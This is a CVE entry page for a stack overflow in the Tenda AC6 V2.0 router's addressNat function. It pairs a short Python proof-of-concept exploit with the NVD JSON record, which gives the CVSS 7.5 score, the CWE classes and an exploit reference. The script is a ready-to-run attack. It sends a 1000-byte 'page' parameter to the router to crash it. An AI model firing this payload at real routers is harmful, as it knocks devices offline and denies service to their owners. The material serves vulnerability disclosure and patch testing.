CVE-2025-60342

import requests # CVE-2025-60342 PoC - Tenda AC6 V2.0 addressNat Stack Overflow # Target: Tenda AC6 V2.0 Router # Vulnerability: Stack overflow in page parameter of addressNat function target_ip = "192.168.0.1" # Router IP address target_port = 80 # Construct malicious payload with oversized page parameter # The vulnerability allows causing DoS via crafted input payload_size = 1000 # Size sufficient to overflow the buffer malicious_page = "A" * payload_size url = f"http://{target_ip}:{target_port}/addressNat" params = { "page": malicious_page } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {payload_size} bytes") response = requests.get(url, params=params, timeout=5) print(f"[*] Response status: {response.status_code}") print("[*] Exploit sent. Router may crash or become unresponsive.") except requests.exceptions.RequestException as e: print(f"[*] Exploit completed. Error: {e}") print("[*] Router may have crashed or blocked the request.")

{"cve": {"id": "CVE-2025-60342", "sourceIdentifier": "[email protected]", "published": "2025-10-22T18:15:35.270", "lastModified": "2025-10-23T15:15:43.913", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AC6 V2.0 15.03.06.50 was discovered to contain a stack overflow in the page parameter in the addressNat function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac6_firmware:15.03.06.50:*:*:*:*:*:*:*", "matchCriteriaId": "ED890D2E-3860-4E6E-A1D4-FC0031430884"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac6:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "E382AD7E-1450-40FC-AE9D-698B491805F0"}]}]}], "references": [{"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/BOF/Tenda/addressNat/addressNat.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}